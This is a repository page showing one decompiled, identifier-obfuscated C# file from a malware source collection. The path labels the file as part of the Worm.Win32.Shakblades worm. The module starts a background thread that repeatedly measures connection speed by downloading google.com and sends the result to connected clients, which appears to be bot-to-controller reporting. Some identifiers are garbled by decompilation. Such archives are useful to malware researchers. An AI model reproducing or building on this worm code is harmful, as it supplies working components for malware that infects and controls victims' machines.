MalwareSourceCode/MSIL/Worm/Win32/S/Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f/ʤ༲୾Ṁ.cs
2022-08-18 06:28:56 -05:00

74 lines
2.7 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: Ҧ߲๒ʽ໙ୄᴘ.ʤ༲୾Ṁ
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
using System;
using System.Collections.Generic;
using System.Net;
using System.Text;
using System.Threading;
namespace Ҧ߲ʽ
{
internal class ʤ\u0F32\u0B7EṀ
{
private static Thread ޠ;
private static List<\u07F6\u181Fᒸৃ> ڇ\u08DAᑡࣺ\u139F = new List<\u07F6\u181Fᒸৃ>();
public static void \u09EBલڄቷóᅭጫ(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Add(_param0);
public static void \u0E70\u18AD\u1391ᨼᅬ\u0BDC(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Remove(_param0);
public static void оԗȫ݉()
{
ʤ\u0F32\u0B7EṀ.ޠ = new Thread(new ThreadStart(ʤ\u0F32\u0B7EṀ.\u0C78᭖ᬏጂ\u0EE0Ṕܱ));
ʤ\u0F32\u0B7EṀ.ޠ.Start();
}
private static void \u0C78᭖ᬏጂ\u0EE0Ṕܱ()
{
WebClient webClient = new WebClient();
while (true)
{
while (ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Count >= 1)
{
ʤ\u0F32\u0B7EṀ.7();
for (int index = 0; index < ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Count; ++index)
{
if (index < ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Count && ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F[index] != null && ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F[index].\u0557)
ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F[index].(new \u09CF(\u07F6\u181Fᒸৃ.ƪ.\u1F16Ʈᝐ\u0F6Dṡ\u0E85, Encoding.Default.GetBytes(ʤ\u0F32\u0B7EṀ.7())).ڨ());
}
Thread.Sleep(TimeSpan.FromSeconds(60.0));
}
Thread.Sleep(5000);
}
}
public static void Ċ()
{
if (ʤ\u0F32\u0B7EṀ.ޠ == null)
return;
ʤ\u0F32\u0B7EṀ.ޠ.Abort();
}
private static string 7()
{
try
{
WebClient webClient = new WebClient();
double tickCount = (double) Environment.TickCount;
webClient.DownloadData("http://google.com/");
double num = Math.Floor((double) Environment.TickCount - tickCount) / 1000.0;
Math.Round(num, 0);
return Math.Round(1024.0 / num).ToString() + " KB\\Sec";
}
catch
{
}
return "Error";
}
}
}